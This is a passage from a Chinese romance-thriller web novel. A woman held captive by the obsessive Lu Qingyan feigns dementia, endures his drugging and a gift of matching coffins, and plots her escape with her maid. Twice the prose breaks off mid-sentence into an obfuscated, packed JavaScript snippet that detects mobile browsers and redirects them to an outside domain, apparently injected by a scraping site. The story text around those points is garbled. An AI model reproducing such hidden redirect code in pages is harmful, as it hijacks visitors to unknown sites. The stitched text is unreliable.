姜昙说:“好吧,给你看。” 说着她将手摊开,是那个婢女们都认识的荷包,可没人敢碰长公子的东西:“夫人,荷包背面,您的手心里,能否翻过来看一看?” 倒是敏锐。 “看吧。” 姜昙手一翻,忽然惊叫:“我的荷包!” 不知怎么一个不小心,那荷包就掉进了湖里,飘在河面上,随着风的吹动越来越远。 婵婵脸都白了。 “你们几个,快拿竹竿过来!那是长公子的东西!” 远处几个婢女手忙脚乱地围了过来。 趁她们都关注着水面,姜昙果断把两张纸都塞到嘴里,咽了下去。 紫珠瞪大了眼珠。 几乎是一瞬间,婵婵看了过来,姜昙没有异常,还是那副呆呆木木的样子。 紫珠捏了捏自己的脸皮,脸上是不耐烦的表情:“还不快捞?都怪你!要是让长公子知道了,非揭了你们的皮!” 午饭时,陆青檐终于睡够了起来,他先是巡视了一圈饭桌,看没有奇奇怪怪的东西,心情大好。 得知姜昙一条鱼都没有钓到,他甚至笑着鼓励她:“不要气馁,总会有的。” 他忽然看到她空荡荡的腰间:“我给你做的荷包呢?” 婵婵紧张地握紧掌心,不知道夫人和紫珠会不会告状。 然而姜昙只是将荷包放到桌上,说:“钓鱼,湿了。” 怎么湿的,为何湿的,一句多余的解释都没有。 陆青檐并不生气。 这段时日姜昙折腾了厨房,折腾了池塘,尤其折腾了他。现在折腾他做的荷包,简直一点也不稀奇。 他拿过来看了看,洇湿的水渍未干,这倒没什么,只是荷包封口处,竟有拆开的痕迹。 看起来,还不是一次。 不对劲。 陆青檐笑了笑:“指环在哪?” 姜昙看了他一会儿,将手摊开到他面前,纤纤十指险些戳到他眼睛里。 陆青檐定睛一看,指环被她戴在手上。 她以前可是宁死也不肯戴,还将指环扔得远远的。 许是钓鱼无聊的时候,手指不安分地抠着荷包,将封好的荷包抠出洞来,最后拆得稀巴烂。 她看不上他做的荷包,看上了他的指环。 这样也不错。 陆青檐喜不自胜,捞起她的手放到嘴边亲了亲,姜昙皱着眉地将手抽出来,在他袖子上擦干净。 嫌弃他。 陆青檐复捉住她的手,用力咬了一口,在姜昙又要抓他的头发时,眼疾手快地避开。 “别生气,有一件礼物送给你。”陆青檐忽然兴起,牵着姜昙出门去。 他们并没有出府,而是来到园子里偏僻的矮墙处,那里有一道门,姜昙曾经想从那逃走。 陆青檐推开门:“进来。” 门后是一个布置精致的世界。 从地上的花草,到脚下的石子,还有河里的游鱼,处处都透露着价值不菲。 陆青檐带她上了石梯,又推开一扇门,屋子的另一扇门大开着,很像晃月别庄的陈设。 外面冷风扑面,而这里温暖如春。 陆青檐指着两个长体箱子:“看看喜欢吗?若有不满意的地方,我再叫他们改。” 他那副神情,好像描述的是不合身量的衣服。 然而眼前这却不是两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14403450|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身衣服,而是两幅棺木。 金丝楠木,棺身上描着金漆,镶嵌着宝石和玉璧。 姜昙只觉地上有一条蛇,顺着她的裤脚爬上她的腿,沿着腰线,攀附在她的脊骨上。 她一句话也说不出来。 陆青檐嘴角泛着奇异的笑,看着两幅棺木,犹如在看自己的情人。 他痴迷地摸着棺木的纹理,终于忍不住推她试一试。 姜昙躺在里面,只看到头顶一方明亮的天地,房顶上是硕大的月亮雕饰。 棺木壁上是大片大片的荼靡花,肆意从脚下攀爬上来,仿佛紧紧地缠着她。 陆青檐也躺了进来。 黑暗之中,他应该是看不清她的脸,万幸也看不到姜昙此刻难以抑制的恐惧。 他认真地做着评价:“嗯……小了点。” 陆青檐凑了过来:“喜不喜欢。这是皇室用的木头,也叫做“帝王木”。千年不腐,触手生温。从第一面重逢时,我就在准备。” 近距离时,他有可能看清她的表情。 姜昙脑中凝滞,努力思考着自己作为一个痴呆应该做出的反应。 她闭上了眼睛。 “睡着了?” 那条蛇从领口爬上来,游走至脖颈,紧紧缠绕着。 她感到陆青檐捏开自己的嘴唇,将一粒药丸推了进来,又抬了抬她的下巴,那药丸便滑了下去。 接着他抱着自己,躺在棺木里睡了过去。 姜昙浑身僵硬。 一直等到陆青檐醒来,她依旧装作未睡醒的样子。 陆青檐抱她回去的路上,踏在石子路上,依旧稳稳当当。 路上似乎遇到了人。 陆青檐说:“他真的死了?” “属下亲自确认过,汤慎的尸体已出现尸斑,死透了。”是刘武的声音:“汤炳一夜白头,汤炳的妻子汤氏在第二日也跟着去了。” “还有汤恒呢?” 刘武说:“依照长公子的吩咐,已给汤恒安排了罪名,州府将他发配边疆的判决下来,他明日就启程了。” 陆青檐愉悦地笑,忽然想起什么,倾身过来。 姜昙察觉头上的衣服被掀开,连忙放松了呼吸,装作熟睡的样子。 片刻后,衣服被轻轻放回去。 陆青檐说:“好了,放你两日假,回去歇着吧。”后一句像是对另一人说:“小虎,这几日就由你代你义父保护我。” “柴小虎遵命!” 少年稚嫩的声音,跪在地上沉闷而响亮。 ……柴小虎,是扬州佛寺后山的柴小虎。 陆青檐转身欲走,补充了一句:“你在暗处,不要让人瞧见你的脸。” “是。” 陆青檐抱着她回房,并没有立即离开,为她盖好被子,还在她面上看了许久。 姜昙感到炙热的视线落在面上,虽然恐惧,呼吸一刻也不敢停,始终保持着规律地起伏。 脸上忽然扑来一阵热气。 陆青檐此刻离她很近,正盯着她的眼皮。 他忽然开口说:“姜昙,我知道你在装睡,别装了。” 姜昙浑身寒毛直竖,有一刻很想直起身来扇陆青檐巴掌,可是很快她就意识到,陆青檐是在诈她。 她不能上当。 陆青檐看了她许久,姜昙坚持得更久,直到他出去将门关上,姜昙也不敢立刻醒来。 万一他此刻正趴在门缝里瞧她的动静呢? 姜昙艰难地度过漫长的一刻钟。 直到紫珠钻进来:“姑娘,方才你们去了哪里?” 姜昙才窒息般地猛然坐起来,剧烈地喘息。她扶着额头,额头生出大颗大颗的汗珠:“我……头疼……” 她用力敲着自己的脑袋,想起刚才吃的药,用力抠着喉咙,可是时候太久,早已吐不出来。 那药丸早就在腹中化开了。 外面有婢女守着,她不能叫出声。陆青檐晚上会和她同住,身上也不能留痕迹。 阵阵痛意从骨髓深处透露出来,姜昙只觉得每一根发丝都在痛,连每一次呼气吸气都是痛的。 却无法发泄出来。 姜昙为难地在房里团团转,看到里面有浇花的清水,将它一股脑倒在盆中,整个人屏住呼吸淹了进去。 可她自小是水乡的女儿,水乡的女子从来就不怕水,憋到最后一刻,再不甘也只能呼吸。 姜昙于是将一盆水从头顶浇下来,将炭盆扑灭,将狐裘脱掉,只留一件单衣。 婵婵敲门:“紫珠姑娘?” 紫珠一件一件替姜昙收拾着衣服,早已泪流满面,却还要控制着不暴露哭腔。 “没事,夫人浇花玩呢!” 轻快的笑声传出来,婵婵很快远离了些。 上次自己做错了事,夫人上次并没有告状,这一次想来也没什么事。 许是浇着浇着玩闹起来,将水泼了一地,这样的情况并不奇怪。 姜昙浑身冷得发颤,终于觉得清醒了些,用手指蘸水,在未湿的地面上一遍又一遍回忆着印章的纹路。 上一次取印章太冒险,下一次没有那么好的机会了。 她必须记住! . 傍晚时,有人敲门请姜昙过去用膳,随后远远地退开。 紫珠替姜昙擦干头发,同时搓着手臂。 用饭之前,必须恢复体温,若被陆青檐发现,一定会生疑。 一刻钟后,两人出门,走到石子路上。 一路上遇见下人,他们跟见了鬼一样,远远地避开她。 姜昙走不动了,她拉着紫珠说:“我必须得尽快出去一次!” 紫珠往四周看了看,虽然没有人影,但她们都知道,有很多人在盯着她们。 到陆青檐身边的这段路,会有许多人跟着她们一起,尽管离得很远。 紫珠隐约觉得姜昙要做的事不太好:“姑娘,今天您还难受着,要不明天再想法子吧。” 今天难受,明天难受,日日都难受。 难道就这么一天天耽搁下去吗? 而且姜昙感觉到,她好像快记不清印章的纹路了。 所以必须尽快出去! 姜昙看向高高的假山石,陆青檐曾经把这些同样设置在陆宅。 她得感谢他,知道从上面摔下来是怎样的痛意。 “离远一点。” 姜昙爬了上去。 片刻后,石子路周遭发出一声尖叫:“快来人呐!夫人摔断腿了!” 78. 第 78 章(补) 明亮温暖的房间中,弥漫开来一股冰冷的气息。顺着婢女小厮们紧跪的双膝,一直窜到后脑勺去。 陆青檐面无表情巡视。 没人敢吭声,更没人敢与他对视。 “啊——” 随着一声惨叫,陆青檐脸上的冷意被焦灼取代。然而这神情仅仅维持了两息,就因为逐渐扭曲的脸色而崩裂—— 姜昙死死扯住了他的头发。 到底是什么时候养成的坏习惯,下一次他非得把她改过来不可! “啊!” 又是一声惨叫,陆青檐被扯着头发,不得不低头在姜昙肩上,正对上给姜昙包扎伤口的孙太医。 “不会轻点?!” 瞧瞧,要吃人一样。 孙太医心底暗暗叹息:“骨头摔得错位,必须得端正过来才行,否则以后不利于行走。” 陆青檐立刻将这话转给姜昙听:“听到没有!以后再去那样危险的地方,就会变成一个瘸子!” 姜昙疼得满头大汗,哪里管他在说什么,扯着他的头发晃来晃去,看起来十分滑稽。 甚至还扫到了孙太医。 “松手!” 陆青檐夺了一下,却夺不回来,只好咬牙任她扯着,脸色可谓十分狰狞。 孙太医:“……” 他还是快一些好了。 长公子这种日渐“窝囊”的模样,他看得太多了,不知道以后是否会被灭口。 好不容易将两条腿固定好,孙太医也出了一头汗。 这期间他顶着陆青檐凶狠的眼神不得不谨慎小心,甚至还听从了许多无理的要求,比如要将双腿包得比原来还粗上一倍。 待包扎好后,姜昙总算松开了陆青檐的头发。 一被松开,他就离她远远的。 下人为陆青檐整理头发时,他再次记起了那些随行的婢女和小厮。 眼神一个个地从他们身上扫过去,最终落在最前面的紫珠身上。 只需向身边之人使一个眼色,体贴的护卫就迅速将紫珠堵住嘴,按在地上,连一声惊呼都没有泄露出来。 陆青檐淡淡审视着她。 紫珠仰起脸,大胆地与他对视。 她一点也不怕他,原因很简单,仗着有姜昙在。 以为姜昙可以随意对待他,身为姜昙情同姐妹的贴身婢女,于是自以为也有资格爬到他头上。 对付骄纵的下人,最好的办法就是杀了,换一个识趣的来。 这个婢女,不懂规矩,目中无人。不敬主子,不分尊卑。还撺掇姜昙去那样危险的地方…… 他有一万个正当的理由杀她。 她该死! 紧紧与姜昙一帘之隔,护卫静悄悄地抽出刀,高高地朝紫珠扬起。 “啊!”姜昙的声音。 陆青檐迅速往里间去:“怎么了?” 未接收到主人下一步命令,刀又被护卫放了下来。 姜昙摔在地上,还要挣扎着爬起来,颤颤巍巍地勉强站着,看着下一刻就要向前摔倒。 陆青檐看得心惊:“别动!” 姜昙执着地问:“紫珠,紫珠去哪了?” 他将她抱起来,随口应道:“她给你端晚膳去了,待会儿就回来。” 姜昙摆弄着十指,摊开到他眼前。 陆青檐这才看到她手指上的寇丹,笑说:“很好看。” 姜昙嘀咕:“紫珠给我涂的。” 又指了指脑袋:“紫珠给我梳的。” 陆青檐捧起她的手,指着那枚指环:“陆庸给你做的。”又指她腰间他缝补好的荷包:“陆庸给你缝的。” 最后指了指自己:“陆庸也会给你涂寇丹,也会学着给你梳发髻,不要紫珠好不好?” 姜昙将脸扭到一边。 “小没良心。” 陆青檐捉着她的手,将十指上未显好色的寇丹擦干净:“这个丑,我给新你弄一些好看的。” 随后不顾姜昙的挣扎,将她抱到饭桌前。 紫珠被护卫们换了地方,弄到帐子后跪着去了。 陆青檐淡淡瞥她一眼,笑着给姜昙夹菜。 一直到吃完饭,哄得姜昙熟睡,陆青檐才有空来搭理这个该死的奴婢。 他一向认为,奴婢就是奴婢,若是与奴婢关系太过亲近,就会让奴婢忘了自己卑贱的身份。 可惜,姜昙太喜欢她。 “有心上人吗?” 陆青檐来到紫珠面前,外面的冷风吹得她瑟瑟颤抖。护卫取了她口中的布巾,她却不说话,愣是一声不吭地瞪着他。 “没有。”陆青檐点又问:“喜欢银子吗?” 紫珠仍不开口,她可能已变成了个哑巴。 陆青檐笑:“什么都不要,无欲无求,你这样让我很难办,真是不想杀你都难。” 地牢里有很多对付嘴硬之人的办法,只是那些手段难免留下痕迹。 紫珠终于开口了:“陆大人,姑娘爬上假山,是因为看到了一株药草。湖里的鱼儿怎么也不要钩,她找不到鱼眼,所以才盯上了假山长的药草。” 陆青檐诧异地看了她一眼。 许久后嗤笑:“你骗我,她手上什么都没有……” 紫珠说:“那是因为她登上假山后,突然忘了东西。姑娘这段时日记性越来越差,连先前熟记的草药都认不出来,所以才恍惚地摔下来。” 这个婢女不知道他眼睛的事,也不知道他给姜昙喂药的事。 所以,她的话应该是真的。 姜昙那么做,原来是为了他的眼睛。 陆青檐细思中,嘴角不免带了一抹灿烂的笑意。 他不由看眼前的婢女顺眼了些,上下打量她一眼:“挑个男人嫁了吧,给你一个月的时间。” 紫珠忽然提高音量:“我不愿意,我要留在姑娘身边,她离不开我!” 陆青檐并没有阻止,任由她说完:“嘘,小声点。” 他低头盯着紫珠,像一条吐着信子的毒蛇:“若是吵醒姜昙,我就杀了你。” 接着,陆青檐静静等了一刻钟。 姜昙仍旧没有醒来,也没有像方才那样挣扎着出来。 看来这个婢女说的是真的。 陆青檐不屑地瞧着她:“挑中了人选,你去跟姜昙说,是你自己的主意。作为交换,我会给你备嫁妆,保你一生富贵无忧。” 他好心地说:“你自己选。” 紫珠犹豫许久,最终哭着点头:“我嫁。” 陆青檐满意地笑:“待嫁的女人就不要见人了,安心待着,这几天不用到夫人身边伺候。” 花房的婢女们调制好了寇丹,陆青檐接过来,亲手给姜昙包上。 包好了后仰端详,看起来像她腿上刚包扎好的伤口,确实不如先前的好。 不过没关系。 只不过是从小一起长大而已,从今以后,他会陪着姜昙,他们会有很多个十几年。 近来姜昙的焦虑症状已经轻了很多,就算不见他们二人,只要独自待在一间屋子里将门锁好,那么就不会有事。 就算以后症状加重…… 姜昙会习惯他,最终离不开他。 . 翌日,姜昙被按在妆台前。 身后陆青檐对着她的头发翻来覆去地折腾,半个时辰后,终于绑好了一个松松垮垮的发髻。 他给她插了满头的金钗,她看起来就像一朵长了人脸的向日葵。 邓显站在门口,没忍住笑出了声。 陆青檐淡淡瞥他一眼,后者正色清咳一声,立时退去门外。 他脸上又堆起笑,看着镜子里的她:“怎么样,喜欢吗?” 姜昙晃了晃脑袋,发髻散开,头发铺了满肩。 “丑!” 陆青檐的自信被她一个字打击到脸色阴沉。 可姜昙的反应更难看,很快开始面无表情地流眼泪。 陆青檐擦了擦,擦不尽。而且紧接着,姜昙嘴瘪了起来。 ……哭得有点丑。 陆青檐闭了闭眼。 他抬起袖子挡住姜昙的脸,很好,镜子里看不见了。 然后很快,姜昙啜泣出声,哭声逐渐大了起来。 痴呆的姜昙很好糊弄,可有的时候,又不太好糊弄。 陆青檐咬牙切齿:“别哭了!” 姜昙站起来,将他冲撞得一个踉跄。 陆青檐还未站稳,她又凑到他耳边大喊了一声。 然而姜昙的腿是坏的,勉强支撑了一下就摔倒,他被吵得脑子嗡嗡,还得伸手接住她。 这一接又方便了她。 忍无可忍时,门扉被敲了敲。 邓显说:“长公子,尚书传召,说有要事相商。” 陆青檐将她抱起来放到床上,姜昙一头栽倒在被子里,她总算不叫了。 随后关门问邓显:“可有说是什么事?” 尚书当然不会说是什么事,陆青檐问的他们安插在尚书府里的探子。 邓显不经意看了一眼紧闭的房门:“赵公子透露,是为您的婚事。” 陆青檐一顿。 身后紧闭的房门被猛然打开,姜昙狠狠地砸在陆青檐的背上,将他压倒在地。 这一砸将他砸懵了片刻。 回过神来,他才想起方才说的事,姜昙听到了没有? 回头一看,他又懵了—— “你怎么出来的!” 姜昙指了指地上的软垫。 因为怕她摔倒,故而放了许多软垫。没想到被她从床前的地面一直铺到门口,就这么爬了过来。 陆青檐脑海里立刻浮现她像毛毛虫一样蠕动的模样。 “给我回去!” “我要出去!” 陆青檐黑着脸将她推回去。 两人连站都未站起来,对着一道门互相推拒起来,打得不可开交。 “长公子,方才——” 一只软垫砸了过来,蒙着邓显的脑袋将他砸倒在地。 力气可真足啊。 邓显捂着鼻子想,这一定不是长公子扔的,因为长公子舍不得。 陆青檐走后,紫珠来找姜昙,在门口被拦住了。 她说了一句:“我找到了。” 紫珠手上端着花房新做好的寇丹,来到姜昙面前:“姑娘,该上第二遍颜色了。” 姜昙乖乖地摊开手。 紫珠快速看了一眼门外,在低声说道:“姑娘想的果然不错。” 陆青檐疑心深重。 他会信她,也会一直怀疑她。或许某一处不经意的细节引起他的警惕,随时随地,他都会试探她。 昨夜陆青檐出门后,姜昙同时睁眼。 他和紫珠在外面说的话,她听得一清二楚,紫珠说出求救那句话时,她险些就要故技重施,吸引陆青檐的注意。 然而有些伎俩,在陆青檐面前只能用一次。 幸好,她教紫珠说的那些话有用,只是除去避免被责罚的同时,也带来了一些不可预料的后果。 昨夜紫珠只是强装镇定,听到要嫁人,她怕了一晚上,满脑子都是当初被家人卖掉时遇见的那个无赖。 紫珠死也不愿意再经受一遍那样的痛苦,可是陆青檐此人是什么性格,她们都清楚—— 即使要死,他也会让她死在外面。 紫珠眼中涌上泪水,却不敢哭出声:“姑娘,我死了不要紧。可只剩你一个人在这里,该怎么办?” “别怕。” 姜昙无声说:“这是好事,你嫁人后他就会消除对你的疑心,有你在外面帮忙,我们一定能尽快离开。” 门外的护卫走动起来。 紫珠迅速擦干眼泪,给姜昙涂寇丹:“姑娘这指甲生得好看,涂了寇丹一定更好看!” 护卫不经意地看往这里。 昨夜这个婢女应了长公子的事,他们得盯着她。 紫珠为姜昙涂完寇丹,蓦然跪在地上,行了个大礼:“夫人,奴婢有心上人了,想要出府嫁给他。” 姜昙连忙去扶她。 护卫们离开。 “其他的你不用管,都交给我来办,只需要记住印章的纹路。” 姜昙迅速给她画了一遍:“我最近忘的事越来越多,不得已只能让你来,能记住吗?” 紫珠大字不识一个,只会用笔画圈,她此刻无比悔恨自己以往偷懒不肯学,现在看纹路也如此艰难。 “记不住也没事,我再想别的办法。” 连着画了两遍,护卫们又转过来了,姜昙立刻停下。 紫珠已待得太久,再留下去,会被护卫们发现端倪。 “谢谢夫人成全,成亲那日请夫人赏脸,一定来喝喜酒。” 紫珠又磕了个头,转身离去。 一旦逃离护卫们的视线,紫珠立刻不停地在手心重复着纹路。 她满头大汗地记着一笔一画,生怕自己忘了,于是一直未休息,连饭也没吃,反复在雪里描。 . 陆青檐来到尚书府时,闫慈一身官服未脱,正在躺椅上闭目养神。 闫慈的脚下蹲着两个婢女,正在为他捏腿。见陆青檐进来,准备退下。 闫慈睁开眼:“没让停,就继续。” 婢女们察觉到主人怒意,连声磕头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411708|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求饶。 闫慈将两人踢开,外面有小厮进来拖了她们出去,不多时又有两个婢女进来,接手了先前两人的活计。 闫慈舒服地闭上眼睛。 陆青檐撩开衣摆,静静跪下。 许久之后,闫慈才发现他一样:“青檐来了,怎么不说一声?混账东西!” 两个婢女战战兢兢地跪下。 陆青檐仰脸笑说:“义父疲累,庸见了心疼不已,故而才未出声,是庸的错,惊扰义父了。” 他说着拜下去,并不在意身前有两个婢女挡着。 额头触地,发出沉闷的声响。 闫慈斥责地上两个婢女:“还不快扶长公子起来?若不是他求情,本官定会重罚你们。” 婢女们千恩万谢地挨到陆青檐身边,阵阵脂粉香从婢女接触到他的臂上传来。 陆青檐不动声色地皱眉。 抬脸又是灿烂的笑意:“义父心慈,偏要将美名送给我,庸不胜感激。” 闫慈笑着站起来。 门外的小厮勾着腰快步进来,手脚麻利地给他脱官服、换便衣。 陆青檐闻到了一股淡淡的香气,不是婢女身上的香味。 闫慈说:“青檐觉得她们二人美不美?义父将这两人送给你如何?” 两个婢女又挤上来。 陆青檐屹然不动:“义父不是不知道,儿家中已经纳了妻妾共二十五房,宠幸都宠不过来呢。再给我两个,家中的那些,可都要闹起来了。” “你那些妾不是被赶出去了吗?只在府里留了不到一个月,就被你遣返回乡下,有的现在都嫁人了。” 陆青檐心中暗惊。 闫慈悠悠地走到他面前:“我还听说,你家里娶的那个夫人是小地方来的,性情彪悍,动不动就掌掴闹腾。上不得台面的玩意儿,回去就将她休了,或是乱棍打死,或是发卖都可,再娶一房夫人,于你仕途也有益。” 陆青檐勉强露出一个镇定的笑容:“庸虽风流,可对义父义母一双人的情谊心向往之。何况,我与夫人已拜过天地鬼神,写过婚书,庸私以为……” 双肩被拍了拍。 陆青檐抬头,闫慈正慈爱地对着他笑,仿若一个温和的父亲。 “儿子的婚事连我这个做父亲的都没有到场,算不得正经婚事。” 闫慈将一卷画像放在陆青檐手上:“办一场举京皆闻的婚事,义父送你一份成婚大礼。” 陆青檐手未抓稳。 手中画像突然掉下来,画上的女人显露面容,不知是哪家的官眷小姐。 一个时辰后,陆青檐从尚书府出来。 邓显在门口等他:“怎么说?” 想起方才的情形,陆青檐嗤笑:“太常寺少卿。” 娶一个女人,许他太常寺少卿的官位。 真是一个值钱的女人! 若换作邓显,他就应了。然而陆青檐…… 邓显想起还在府中等着的姜昙,心道可惜,这么划算的一桩买卖! 这么想着,身后的尚书府管家忽然送了两个美婢出来:“尚书说了,官家小姐难免沉闷无趣,这两个婢女特意调教过,送给长公子解闷。” 两个婢女娇笑着要上来,却被护卫露出的刀刃吓住了步子。 邓显惊疑不定地看着马车里面:“您方才……” 陆青檐淡淡闭眼:“我应了。” . 陆青檐从外面回来时,姜昙不在屋里,特意为她备的轮椅也不见踪迹。 问了下人才知道,她一个人出去了。 沿着下人指的方向,陆青檐来到了下人的院落,先是看到小门处拥挤的一群下人。 待护卫们将他们驱赶开,他才看到姜昙的影子。 姜昙藏在树下,正在窥视一对野鸳鸯,更准确地说,是紫珠和一个护卫。 方才回来时他就听到禀报,说是紫珠已经决定了成婚的人选。 不让她见姜昙,却不想姜昙伤着腿也要追过来。 陆青檐拉她回去:“旁人夫妻亲热,不怕瞧了长针眼?” 姜昙拼命按住他的手,不让他动轮椅。 陆青檐想到方才之事,更加用力握了回去。 姜昙并未察觉到他的异常:“他们不是夫妻,紫珠说那个人喜欢她,我要替她相看一番。” 陆青檐定了定神:“看出什么了?” 姜昙指着那护卫:“小白脸,看起来像老鼠一样。” 陆青檐笑了:“他是小白脸,你看我像什么?” 姜昙扭头看他一眼:“你也是小白脸,像蛇。” 陆青檐的脸黑了。 姜昙仍信誓旦旦地分析:“你看他的手,想占便宜,却约在这里,不是好人。” 陆青檐沿着她的视线看去。 确实如她所说,那护卫的演技太差,说话像背书一样,眼里没有情意,脸上也尽是不耐烦。 他当初没料到姜昙会来看,否则一定找一个演技更好的,比如邓显。 不,邓显有点麻烦。 婚后姜昙说不定会缠上他,追着问那婢女的下落。 陆青檐再次去拉姜昙的手:“我们先回去。” 再被她看下去,只怕破绽更多。 姜昙忽然往前冲:“他摸紫珠的手了,紫珠不愿意!” 她手忙脚乱,百忙之中还往低头的陆青檐脑袋上砸了一拳。 与姜昙在一起,他的脑袋随时随地多灾多难。 “好了!”陆青檐捂着脑袋,按下姜昙的手:“我去处理,让你的紫珠再挑一个好男人。” 姜昙固执地看着他:“我不信。” “那你要怎么才能信?” “除非我亲眼看到。” “你要跟着去?” 姜昙点头:“外面人多,去外面找。” 她想出府。 陆青檐低头,两手按在轮椅的把手上,几乎将姜昙圈外怀里,就这么面无表情地看着她。 姜昙藏在袖子里的手指抠紧。 “好。” 忐忑许久后,陆青檐这么回答。 他又将她紧紧搂在怀里,和刚才握住她手是一样的力度。 姜昙在他袖上闻到一股香味。 晚上回寝院,陆青檐并没有过来,而是去了书房。 那时候她听到了邓显的话。 尚书府,婚事…… 陆青檐一定答应了,所以他才这么愧疚。 这是她和紫珠的好机会,但也意味着更大的风险,她很有可能装不过去。 姜昙轻车熟路地摸到床头藏的琉璃瓶,想了想,她一连往口中倒了三颗。 79. 第 79 章 陆青檐静静地看着案上的纸张。 最下面是那位侍郎家小姐的画像,上面是她的生平,包括年岁、八字、父母亲族等各种消息。 连同这位小姐喜欢投壶、爱吃玫瑰糕都写得清清楚楚。 中规中矩,无甚出彩之处。 但若是娶回来,或许是一位贤惠的好主母。 明日就要去见她,深闺小姐,投之所好,他最擅长做这样的事。然而来回看了三遍,他却连她的名字都未记住。 姜昙,姜昙…… 陆青檐揉着额头,问门外:“夫人睡了吗?” 管家立刻着人去看,不多时那人回来报:“夫人洗过澡,已歇下了。” 那就不去打扰她了。 想起之前姜昙提起要出门的事,陆青檐隐隐有些不安。一旦她不在自己可以掌控的范围内,他就觉得难以忍受。 可他为什么要不安呢? 明明这些时日,姜昙表现得十分乖巧。只要吃着那药,她一辈子都是他掌中的雀鸟,会永远乖巧下去。就算是死,也会十分听话地躺在他打造的棺木里。 更何况他已试探过多次。 想了又想,陆青檐压抑住将她锁在府里的冲动,将邓显叫来:“明日她出门,再多派一倍的人手。” 邓显不动声色地看陆青檐:“若是……夫人提前回府?” 侍郎家的小姐知书识礼,为表敬意,恐怕不会那么早就离开。 陆青檐疲倦地闭上眼:“那就多拖一会儿。” . 翌日,姜昙从床上醒来。 迷迷糊糊睁眼,看到荼蘼花纹的帐顶,猛地惊醒。 她几乎是从床上跳下来,却被腿上的痛意给扎了一下,扑倒了帐子摔在地上。 “夫人?” 门外似乎有婢女,急得团团转。 姜昙听她们的声音只觉得陌生至极,看这屋子也觉得陌生无比,只有帐顶的花纹让她有一丝慰藉。 这是宋庸喜欢的花纹。 没得到夫人允许,门外的婢女再焦急也不敢进来。 姜昙觉得心安了些,从地上爬起来,寻了个凳子爬上去,终于寻得间隙喘口气。 可是很快,她就呼吸急促了起来。 妆台前的镜子里,镶嵌着金玉宝石,雕刻着海外特色的花纹。清晰的镜面照出了姜昙如今的面容:略显苍白的脸,始终萦绕着一抹愁绪的眉眼,透露出饱经的风霜。 她、她不是扮成男人了吗? 可眼前这人,无论如何都不是男人的模样! 还有衣襟上的荼蘼花纹……她只记得宋庸趾高气昂地赏了自己一顶荼蘼花纹的帐子,怎么连贴身的里衣也和宋庸的一模一样? 姜昙猛然回头。 她忽然发觉这屋子里华贵无比,方才睡过的纱帐是金丝缝的,地毯是海外的货物,方才看到铜镜、门扉、香炉……处处透露着价值不菲。 整个吴江,都没有这样的屋子。 这不是吴江。 仔细看来,陌生的环境中,竟有一丝诡异的熟悉。 姜昙无意识抚摸自己的手腕,摸到了凹凸不平的重重疤痕。 她低头看去,竟在手心看到了密密麻麻的墨迹。写字的人似乎有千言万语诉说不尽,一直从手心蔓延到手臂。 其中最为醒目的一行字,足足出现了三次—— 杀了陆青檐,逃出京城! . “夫人!” 门扉又被拍响,这一次格外不同寻常。从外由内,门被轻轻地推开。 “阿昙?” 姜昙在地上挣扎,方才不小心将凳子踢到一边去,怎么捞也捞不回来。 这时,面前出现一片石青色的衣摆。 姜昙看着那片衣摆垂到地上去,面前人蹲下身来,与她眼神相接触: “怎么不叫人进来?你最近不是好了许多吗?” 姜昙愣了。 她目不转睛地盯着他,跟不认识他一样。眼神天真,这让陆青檐想起初见的那段日子。 “我最近有公务要忙,不能经常陪你。”陆青檐将她抱起来。 挥手间,外面的婢女鱼贯而入,熟练地给姜昙洗脸、梳妆、穿衣。 期间姜昙无数次想阻止她们,毕竟以前她都是自己来的。可是想起方才看到的,她又忍住了。 随即她发现,自己对婢女们的伺候并不陌生,反而很习惯,像是已经被她们伺候过成百上千次,对下一步要做什么,已经练出了本能。 陆青檐一直在镜中看着她。 就连吃饭时,他也一直盯着她。哪怕她只是吃了一个金丝小馒头,他对她咀嚼的全过程,也观摩得十分用心。 酝酿许久,姜昙鼓起勇气与他对视:“我要出去。” “我知道。”陆青檐探手过来,用巾帕擦了擦她唇角的污渍:“车马已经备好了,紫珠在外面等你。” 终于听到了一个熟悉的名字。 姜昙深深地看了他一眼,低下头去。 这个人很像宋庸,他几乎就是宋庸,可是又不完全是宋庸。和镜子中的自己一样,是不完全的姜昙。 吃完早饭,陆青檐果然践行承诺,一直将姜昙送到了门口马车上。 紫珠就在马车旁等着。 姜昙一看见她,心情激动地就要推着轮椅过去,却怎么也动不了。 回头一看,是他的手按在轮椅椅背上。 陆青檐笑得十分柔和:“要不,还是待在府里吧。” 姜昙就不,但还是秉持着礼尚往来的礼仪,对他十分尊敬:“请你放手,方才咱们说好了的,我要出门。你怎么能说话不算话呢?” 说完,他又开始盯着她看了。 姜昙被看得忐忑,假装若无其事地转身过去,上了马车。 却听到他说:“阿昙,你今天变得……” “很不一样是吗?”姜昙转过身来,藏在袖子里的手指握紧,却还是鼓起勇气与他对视:“我觉得,你今天也变得很不一样。” 看吧,他没什么好怕的。 陆青檐一怔,忽然笑了:“你说的对。” 他笑得突然,亲吻得更突然。 在姜昙没有反应过来的时候,他已经捧着她的脸深吻进去。 周围还有这么多人在看! 意识到这一点后,姜昙连连往后缩,却被陆青檐牢牢捉着,更用力地碾磨下来。 她往马车里躲,他甚至想跟着上来。 这怎么行! 姜昙咬了他一口,他终于下去了。 